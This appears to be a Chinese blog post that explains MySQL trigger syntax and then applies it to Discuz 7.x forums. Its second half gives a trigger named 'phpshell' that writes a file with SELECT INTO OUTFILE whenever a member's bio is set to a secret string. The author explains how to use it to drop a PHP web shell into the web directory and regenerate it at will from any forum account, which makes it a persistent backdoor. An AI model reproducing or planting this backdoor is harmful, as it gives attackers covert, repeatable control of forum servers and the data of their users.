触发器参考资料:http://blog.csdn.net/lazy_p/archive/2009/12/25/5076114.aspx

基本语法:
CREATE TRIGGER <触发器名称>
{ BEFORE | AFTER } <–
{ INSERT | UPDATE | DELETE }
ON <表名称>
FOR EACH ROW
< 触发的SQL语句>
触发器必须有名字,最多64个字符
但是mysql不支持一张表多触发器
解决方案:
由于 mysql默认的结束符(定界符)是分号;
所以我们要可以先修改定界符
语法:
delimiter  自定义的定界符

然 后创建触发器
如:
delimiter ?
CREATE TRIGGER <触发器名称>
{ BEFORE | AFTER } <–
{ INSERT | UPDATE | DELETE }
ON <表名称>
FOR EACH ROW
begin
insert into ……values(……);
update …set ……;
end
自定义的定界符

可以执行多条sql语句了,还可以与多张表关联。

——————————–

根据参考资料,我们编写个 dz 7.x的的触发器:

 

  1. DELIMITER | 
  2. create trigger phpshell after update on cdb_memberfields 
  3. for each row begin 
  4. set @bio=new.bio; 
  5. if @bio='13145211111' then 
  6. SELECT 'code' into  outfile 'c:/test.txt'; 
  7. end if; 
  8. end; 

个人中心->自我介绍,这里只要保存为“13145211111”就会导出一个test.txt文件,当然你可以把phpshell导在web目录 里,用完phpshell就可以del。以后要再次生成shell,随便用个bbs账号更新一下“自我介绍”为“13145211111”就可以,当然这 个“密码”你可以自已定义。